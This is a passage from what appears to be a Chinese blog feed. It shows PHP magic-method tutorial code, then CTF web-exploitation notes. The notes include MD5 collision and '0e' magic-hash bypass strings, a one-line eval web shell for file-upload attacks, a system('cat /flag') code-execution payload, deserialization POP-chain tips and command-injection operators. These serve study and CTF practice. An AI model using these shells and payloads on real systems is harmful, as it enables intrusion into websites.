class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function">    </span>&#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;触发了析构函数1次&quot;</span>;<br>    &#125;<br>&#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>(<span class="hljs-string">&quot;benben&quot;</span>);  <span class="hljs-comment">//实例化对象结束后，代码运行完会销毁，触发析构函数_destruct()</span><br><span class="hljs-variable">$ser</span> = <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$test</span>);     <span class="hljs-comment">//在序列化过程中不会触发</span><br><span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$ser</span>);           <span class="hljs-comment">//在反序列化过程中会触发，反序列化得到的是对象，用完后会销毁，触发析构函数_destruct()</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><blockquote><p>以上代码总共触发两次析构函数，第一次为实例化对象后，代码运行完会，对象会被销毁，触发析构函数_destruct()；第二次在反序列化过程中会触发，反序列化得到的是对象，用完后会销毁，触发析构函数_destruct()</p></blockquote><p>3.__sleep()</p><blockquote><p>在进行序列化时，serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在，该方法会先被调用，可以在此方法中指定需要被序列化的属性，返回一个包含对象中所有应被序列化的变量名称的数组。然后才执行序列化操作。<br>此功能可以用于清理对象，并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容，则 NULL 被序列化，并产生一个 E_NOTICE级别的错误。</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">const</span> <span class="hljs-variable constant_">SITE</span> = <span class="hljs-string">&#x27;uusama&#x27;</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$username</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$nickname</span>;<br>    <span class="hljs-keyword">private</span> <span class="hljs-variable">$password</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$username</span>, <span class="hljs-variable">$nickname</span>, <span class="hljs-variable">$password</span></span>) </span>&#123;<br>        <span class="hljs-variable language_">$this</span>-&gt;username = <span class="hljs-variable">$username</span>;<br>        <span class="hljs-variable language_">$this</span>-&gt;nickname = <span class="hljs-variable">$nickname</span>;<br>        <span class="hljs-variable language_">$this</span>-&gt;password = <span class="hljs-variable">$password</span>;<br>    &#125;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__sleep</span>(<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-keyword">array</span>(<span class="hljs-string">&#x27;username&#x27;</span>, <span class="hljs-string">&#x27;nickname&#x27;</span>);      <span class="hljs-comment">//sleep执行返回需要序列化的属性名，过滤掉password变量</span><br>    &#125;<br>&#125;<br><span class="hljs-variable">$user</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>(<span class="hljs-string">&#x27;a&#x27;</span>, <span class="hljs-string">&#x27;b&#x27;</span>, <span class="hljs-string">&#x27;c&#x27;</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$user</span>);      <span class="hljs-comment">//serialize()只序列化sleep返回的变量，序列化之后的字符串：O:4:&quot;User&quot;:2:&#123;s:8:&quot;username&quot;;s:1:&quot;a&quot;;s:8:&quot;nickname&quot;;s:1:&quot;b&quot;;&#125;</span><br><span class="hljs-comment">//</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>4.__wakeup()</p><blockquote><p>在进行反序列化时，unserialize()会检查是否存在一个魔术方法__wakeup()，如果存在，则会先调用__wakeup方法，做一些初始化工作。<br>使用__wakeup方法的原因是为了重建在序列化中可能丢失的数据库连接，或者执行其它初始化操作。</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">const</span> <span class="hljs-variable constant_">SITE</span> = <span class="hljs-string">&#x27;uusama&#x27;</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$username</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$nickname</span>;<br>    <span class="hljs-keyword">private</span> <span class="hljs-variable">$password</span>;<br>    <span class="hljs-keyword">private</span> <span class="hljs-variable">$order</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>) </span>&#123;<br>        <span class="hljs-variable language_">$this</span>-&gt;password = <span class="hljs-variable language_">$this</span>-&gt;username;       <span class="hljs-comment">//反序列化之前触发_wakeup(),给password赋值</span><br>    &#125;<br>&#125;<br><span class="hljs-variable">$user_ser</span> = <span class="hljs-string">&#x27;O:4:&quot;User&quot;:2:&#123;s:8:&quot;username&quot;;s:1:&quot;a&quot;;s:8:&quot;nickname&quot;;s:1:&quot;b&quot;;&#125;&#x27;</span>;    <span class="hljs-comment">// 字符串中并没有password</span><br><span class="hljs-title function_ invoke__">var_dump</span>(<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$user_ser</span>));   <span class="hljs-comment">// object(User)#1 (4) &#123; [&quot;username&quot;]=&gt; string(1) &quot;a&quot; [&quot;nickname&quot;]=&gt; string(1) &quot;b&quot; [&quot;password&quot;:&quot;User&quot;:private]=&gt; string(1) &quot;a&quot; [&quot;order&quot;:&quot;User&quot;:private]=&gt; NULL &#125; </span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><blockquote><p>__wakeup()在反序列化unserialize()之前被调用<br>__destruct()在反序列化unserialize()之后被调用</p></blockquote><p>5.__toString()</p><blockquote><p>当使用echo或print输出对象将对象转化为字符串形式，或者将一个“对象”与“字符串”进行拼接时，会调用__toString()方法</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">var</span> <span class="hljs-variable">$benben</span> = <span class="hljs-string">&quot;this is test!!&quot;</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__toString</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function">    </span>&#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-string">&#x27;格式不对，输出不了!&#x27;</span>;<br>    &#125;<br>&#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>() ;     <span class="hljs-comment">// 把类User实体化并赋值给$test，此时$test是个对象</span><br><span class="hljs-title function_ invoke__">print_r</span>(<span class="hljs-variable">$test</span>);          <span class="hljs-comment">// 打印输出对象可以使用print_r或者var_dump，该对象输出后为：User Object(    [benben] =&gt; this is test!!)</span><br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$test</span>;              <span class="hljs-comment">// 如果使用echo或者print只能调用字符串的方式去调用对象，即把对象当成字符串使用，此时自动触发toString()</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>6.__invoke()<br>当将一个对象作为函数进行调用时会触发__invoke()函数</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">var</span> <span class="hljs-variable">$benben</span> = <span class="hljs-string">&quot;this is test!!&quot;</span>;<br>         <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__invoke</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function">         </span>&#123;<br>             <span class="hljs-keyword">echo</span>  <span class="hljs-string">&#x27;它不是个函数!&#x27;</span>;<br>          &#125;<br>&#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>() ;     <span class="hljs-comment">//把类User实例化为对象并赋值给$test</span><br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$test</span> -&gt;benben;     <span class="hljs-comment">//正常输出对象里的值benben</span><br><span class="hljs-variable">$test</span>();                 <span class="hljs-comment">//加()是把test当成函数test()来调用，此时触发_invoke()</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>7.__call()<br>当调用不存在或不可见的成员方法时，PHP会先调用__call()方法来存储方法名及其参数</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__call</span>(<span class="hljs-params"><span class="hljs-variable">$arg1</span>,<span class="hljs-variable">$arg2</span></span>)</span><br><span class="hljs-function">    </span>&#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;<span class="hljs-subst">$arg1</span>,<span class="hljs-subst">$arg2</span>[0]&quot;</span>;<br>    &#125;<br>&#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>() ;<br><span class="hljs-variable">$test</span> -&gt; <span class="hljs-title function_ invoke__">callxxx</span>(<span class="hljs-string">&#x27;a&#x27;</span>,<span class="hljs-string">&#x27;b&#x27;</span>,<span class="hljs-string">&#x27;c&#x27;</span>); <span class="hljs-comment">//调用的方法callxxx()不存在,触发魔术方法call(),传参(callxxx,a);$arg1:调用的不存在的方法的名称;$arg2:调用的不存在的方法的参数；</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><blockquote><p>__call(string $function_name, array $arguments)该方法有两个参数，第一个参数 $function_name 会自动接收不存在的方法名，第二个 $arguments 则以数组的方式接收不存在方法的多个参数</p></blockquote><p>8.__callStatic()<br>当调用不存在或不可见的静态方法时，会自动调用__callStatic()方法，传递方法名和参数数组作为参数</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__callStatic</span>(<span class="hljs-params"><span class="hljs-variable">$arg1</span>,<span class="hljs-variable">$arg2</span></span>)</span><br><span class="hljs-function">    </span>&#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;<span class="hljs-subst">$arg1</span>,<span class="hljs-subst">$arg2</span>[0]&quot;</span>;<br>    &#125;<br>&#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>() ;<br><span class="hljs-variable">$test</span>::<span class="hljs-title function_ invoke__">callxxx</span>(<span class="hljs-string">&#x27;a&#x27;</span>);        <span class="hljs-comment">//静态调用使用&quot;::&quot;，静态调用方法callxxx()，由于其不存在，所以触发__callStatic，传参(callxxx,a)，输出：callxxx,a</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>9.__set()<br>__set($name, $value)函数，给一个对象的不存在或不可访问(private修饰)的属性赋值时，PHP就会执行__set()方法。__set()方法包含两个参数，$name表示变量名称，$value表示变量值，两个参数不可省略。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$var1</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__set</span>(<span class="hljs-params"><span class="hljs-variable">$arg1</span> ,<span class="hljs-variable">$arg2</span></span>)</span><br><span class="hljs-function">    </span>&#123;<br>        <span class="hljs-keyword">echo</span>  <span class="hljs-variable">$arg1</span>.<span class="hljs-string">&#x27;,&#x27;</span>.<span class="hljs-variable">$arg2</span>;<br>    &#125;<br>&#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>() ;<br><span class="hljs-variable">$test</span>-&gt;var2=<span class="hljs-number">1</span>;        <span class="hljs-comment">//给不存在的成员属性var2赋值为1，自动触发__set()方法；如果有__get(),先调用__get(),再调用__set()，输出：var2,1</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>10.__get()<br>__get($name)函数，当程序访问一个未定义或不可见的成员变量时，PHP就会执行 __get()方法来读取变量值。__get()方法有一个参数，表示要调用的变量名</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>    <span class="hljs-keyword">public</span> <span class="hljs-variable">$var1</span>;<br>    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__get</span>(<span class="hljs-params"><span class="hljs-variable">$arg1</span></span>)</span><br><span class="hljs-function">    </span>&#123;<br>        <span class="hljs-keyword">echo</span>  <span class="hljs-variable">$arg1</span>;<br>    &#125;<br>&#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>() ;<br><span class="hljs-variable">$test</span> -&gt;var2;         <span class="hljs-comment">//调用的成员属性var2不存在，触发__get(),把不存在的属性的名称var2赋值给$arg1，输出：var2</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>11.__isset()<br>当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用，传递属性名作为参数。__isset()方法有一个参数，表示要调用的变量名</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br>    <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>        <span class="hljs-keyword">private</span> <span class="hljs-variable">$var</span>;<br>        <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__isset</span>(<span class="hljs-params"><span class="hljs-variable">$arg1</span></span>)</span><br><span class="hljs-function">        </span>&#123;<br>            <span class="hljs-keyword">echo</span>  <span class="hljs-variable">$arg1</span>;<br>        &#125;<br>    &#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>() ;<br><span class="hljs-keyword">isset</span>(<span class="hljs-variable">$test</span>-&gt;<span class="hljs-keyword">var</span>);       <span class="hljs-comment">// 调用的成员属性var不可访问，并对其使用isset()函数或empty()函数，触发__isset()，输出：var</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>12.__unset()<br>当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用，传递属性名作为参数。__unset()方法有一个参数，表示要调用的变量名</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br>    <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>        <span class="hljs-keyword">private</span> <span class="hljs-variable">$var</span>;<br>        <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__unset</span>(<span class="hljs-params"><span class="hljs-variable">$arg1</span> </span>)</span><br><span class="hljs-function">        </span>&#123;<br>            <span class="hljs-keyword">echo</span>  <span class="hljs-variable">$arg1</span>;<br>        &#125;<br>    &#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>() ;<br><span class="hljs-keyword">unset</span>(<span class="hljs-variable">$test</span>-&gt;<span class="hljs-keyword">var</span>);        <span class="hljs-comment">// 调用的成员属性var不可访问，并对其使用unset()函数，触发__unset()，输出：var</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>.13 __clone()<br>当对象被复制执行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br>    <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">User</span> </span>&#123;<br>        <span class="hljs-keyword">private</span> <span class="hljs-variable">$var</span>;<br>        <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__clone</span>(<span class="hljs-params"> </span>)</span><br><span class="hljs-function">        </span>&#123;<br>            <span class="hljs-keyword">echo</span>  <span class="hljs-string">&quot;__clone test&quot;</span>;<br>        &#125;<br>    &#125;<br><span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title class_">User</span>() ;<br><span class="hljs-variable">$newclass</span> = <span class="hljs-keyword">clone</span>(<span class="hljs-variable">$test</span>)        <span class="hljs-comment">// __clone test</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>php</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>od命令</title>
    <link href="/2024/09/20/od%E5%91%BD%E4%BB%A4/"/>
    <url>/2024/09/20/od%E5%91%BD%E4%BB%A4/</url>
    
    <content type="html"><![CDATA[]]></content>
    
    
    
  </entry>
  
  
  
  <entry>
    <title>web简单利用</title>
    <link href="/2024/09/18/web%E7%AE%80%E5%8D%95%E5%88%A9%E7%94%A8/"/>
    <url>/2024/09/18/web%E7%AE%80%E5%8D%95%E5%88%A9%E7%94%A8/</url>
    
    <content type="html"><![CDATA[<p>最近写一些垃圾web用到了不知道的知识，在此记录，首先是头文件绕过</p><blockquote><p>X-Forwarded-For : 简称XFF头，它代表客户端，也就是HTTP的 请求端真实的IP ，只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项</p></blockquote><p>可以实现对web对本地的访问达到网址绕过的效果</p><h4 id="md5绕过"><a href="#md5绕过" class="headerlink" title="md5绕过"></a>md5绕过</h4><h5 id="相同的md5字符串"><a href="#相同的md5字符串" class="headerlink" title="相同的md5字符串"></a>相同的md5字符串</h5><p>a&#x3D;%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2<br>&amp;b&#x3D;%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2</p><p>Param1&#x3D;M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2</p><p>Param2&#x3D;M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2</p><p>$data1&#x3D;”\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x07\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\xf1\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\x72\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\x34\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\x28\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\xab\x6f\xf7\x2a\x70”;<br>$data2&#x3D;”\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x87\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\x71\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\xb4\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\xa8\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\x2b\x6f\xf7\x2a\x70”;</p><h5 id="php弱类型绕过"><a href="#php弱类型绕过" class="headerlink" title="php弱类型绕过"></a>php弱类型绕过</h5><blockquote><p>MMHUWUV 0e701732711630150438129209816536<br>MAUXXQC 0e478478466848439040434801845361<br>IHKFRNS 0e256160682445802696926137988570<br>GZECLQZ 0e537612333747236407713628225676<br>GGHMVOE 0e362766013028313274586933780773<br>GEGHBXL 0e248776895502908863709684713578<br>EEIZDOI 0e782601363539291779881938479162<br>DYAXWCA 0e424759758842488633464374063001</p></blockquote><h5 id="php强类型比较"><a href="#php强类型比较" class="headerlink" title="php强类型比较"></a>php强类型比较</h5><blockquote><p>&#x3D;&#x3D;&#x3D;会连同数据类型一起比较，同时一些解析也被限制了。我们可以使用数组进行绕过。数组绕过是指我们传值的时候传一个数组上去，比如?id[]&#x3D;1,这个就是使用GET方法传值时候的操作。当md5函数遇到数组之后会返回空值，因为它无法加密数组，于是可以绕过php强类型比较。</p></blockquote><h4 id="php文件上传漏洞"><a href="#php文件上传漏洞" class="headerlink" title="php文件上传漏洞"></a>php文件上传漏洞</h4><p>一句话木马</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-keyword">eval</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-number">0</span>]);<span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>这个木马接受 POST 参数中0的值作为值, 我们可以使用蚁剑连接这个木马(密码为 0)<br>上传成功后会返回后端的判断代码, 此时可以知道我们上传的路径为 uploads且文件名不变</p><p>我们可以通过蚁剑进行连接</p><h4 id="php代码执行"><a href="#php代码执行" class="headerlink" title="php代码执行"></a>php代码执行</h4><p><a href="https://www.php.net/manual/zh/function.eval.php">相关文档</a><br>我们可以利用 system 函数执行 Shell 命令,<br>也可用使用 echo file_get_contents(‘&#x2F;flag’); 来输出flag内容  </p><p>下面给出 system 的示例</p><blockquote><p>DT&#x3D;system(‘cat &#x2F;flag’);<br>注意用;来分隔，因为此时已经是一个php语句了</p></blockquote><p>解释:<br>system(‘cat &#x2F;flag’)：system() 函数用于执行系统命令。在这个例子中，system() 函数执行的是 cat &#x2F;flag，它会尝试读取系统中路径为 &#x2F;flag 的文件内容并输出到终端</p><blockquote><p>DT&#x3D;phpinfo();检查版本信息查漏洞</p></blockquote><h4 id="反序列化"><a href="#反序列化" class="headerlink" title="反序列化"></a>反序列化</h4><p>在看了半个小时后终于懂了一点，反序列化就是利用已经存在的函数之间的调用，以及特殊方法绕过对应的检查后利用序列化函数生成一个可以在后面执行并获取代码的漏洞</p><p>POP chain<br>魔术方法：</p><blockquote><p>__construct()   &#x2F;&#x2F;对象创建(new)时会自动调用。<br>__wakeup()        &#x2F;&#x2F;使用unserialize时触发<br>__sleep()        &#x2F;&#x2F;使用serialize时触发<br>__destruct()        &#x2F;&#x2F;对象被销毁时触发<br>__call()        &#x2F;&#x2F;在对象上下文中调用不可访问的方法时触发<br>__callStatic()        &#x2F;&#x2F;在静态上下文中调用不可访问的方法时触发<br>__get()        &#x2F;&#x2F;用于从不可访问的属性读取数据 包括private或者是不存在的<br>__set()        &#x2F;&#x2F;用于将数据写入不可访问的属性<br>__isset()        &#x2F;&#x2F;在不可访问的属性上调用isset()或empty()触发<br>__unset()         &#x2F;&#x2F;在不可访问的属性上使用unset()时触发<br>__toString()    &#x2F;&#x2F;把类当作字符串使用时触发<br>__invoke()             &#x2F;&#x2F;当脚本尝试将对象调用为函数时触发  就是加了括号<br>__autoload()           &#x2F;&#x2F;在代码中当调用不存在的类时会自动调用该方法。<br>的序列化字符串在反序列化对象时与真实存在的参数个数不同时会跳过执行，即当前函数中只有一个参数$flag，若传入的序列化字符串中的参数个数为2即可绕过</p></blockquote><h4 id="RCE过滤"><a href="#RCE过滤" class="headerlink" title="RCE过滤"></a>RCE过滤</h4><h5 id="Windows系统支持的管道符如下："><a href="#Windows系统支持的管道符如下：" class="headerlink" title="Windows系统支持的管道符如下："></a>Windows系统支持的管道符如下：</h5><ol><li>“|”：直接执行后面的语句。</li><li>“||”：如果前面的语句执行失败，则执行后面的语句，前面的语句只能为假才行。</li><li>“&amp;”：两条命令都执行，如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。</li><li>“&amp;&amp;”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。</li></ol><h5 id="Linux系统支持的管道符如下："><a href="#Linux系统支持的管道符如下：" class="headerlink" 